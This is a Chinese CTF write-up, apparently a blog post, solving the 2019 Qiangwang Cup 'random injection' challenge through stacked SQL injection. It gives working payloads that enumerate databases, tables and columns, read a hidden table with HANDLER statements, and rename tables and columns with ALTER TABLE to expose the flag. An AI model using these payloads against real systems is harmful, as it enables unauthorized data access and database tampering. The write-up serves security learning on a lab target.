[强网杯 2019]随便注 wp

[强网杯 2019]随便注

sql注入老传统,上来先判断注入点,这题是字符型注入

先用1' or 1=1;#判断能出来什么东西,好样的,啥用没有
请添加图片描述

这里想先用union联合注入来获取当前database,但是被过滤了,由这个preg_match正则匹配可以看出这道题是堆叠注入

请添加图片描述

构造payload,来获取各个数据库名:

1';show databases;#

请添加图片描述

发现这并没有啥用,再构造payload来查看表:

?inject=1';show tables;#

请添加图片描述

这个1919810931114514表很可疑,所以我们要查看

因为这道题是堆叠注入,加上有过滤所以离不开handler语句

语法分析:

  • HANDLER tbl_name OPEN; 打开一张表
  • HANDLER tbl_name READ FIRST/NEXT; 获取句柄的第一行,FIRST(第一行)、NEXT(下一行)

例如:1’;handler `1919810931114514` open;handler `1919810931114514` read first;#

注意表名有数字的情况下要用反引号包括起来

所以我们可以构造handled语句,来读取1919810931114514中的内容,exp:

1';handler `1919810931114514` open;handler `1919810931114514` read first;#

方法二:

第二种方法主要是运用alert语句写的,先介绍一下alert语句:

alter语句

修改表名 alter table 表名 rename 新表名;

修改字段名 alter table 表名 change 旧字段名 新字段名 类型;

前面一样,先查出所有表,然后使用show columns from 表名;获取到表中的字段名

?inject=1';show columns from words;#

请添加图片描述

请添加图片描述

然后我们再查看一下1919810931114514这个表中的字段,构造payload:

?inject=1';show columns from `1919810931114514`;#

请添加图片描述

通过观察 words表单有两列, 也就是上面的 1 和 hahahah
我们可以推测 这个表单其实是从words表中以id字段为索引获取到内容 然后返回到前台
并且后台的查询语句为"select * from words where id='".$_GET['inject']."'"

那么 我们是不是可以通过修改带flag字段的表的名字为words表 然后把flag 字段修改为id
通过三条alter语句来修改

  • 修改words表名为其他的

    alter table words rename words1;
    
  • 修改1919810931114514表名为words

    alter table `1919810931114514` rename words;
    
  • 修改新的words表中的flag列名为id

    alter table words change flag id varchar(60);
    

得到最后的payload:

1';alter table words rename words1;alter table `1919810931114514` rename words;alter table words change flag id varchar(60);#

然后刷新页面
请添加图片描述

发现没结果了, 原因是新的id列中的值已经变为flag值了 所以查询inject=1查不到
我们可以通过让where条件永远为正查出来所有数据
构造payload1' or '1'='1, 获取到flag值

请添加图片描述

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Leafzzz__

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值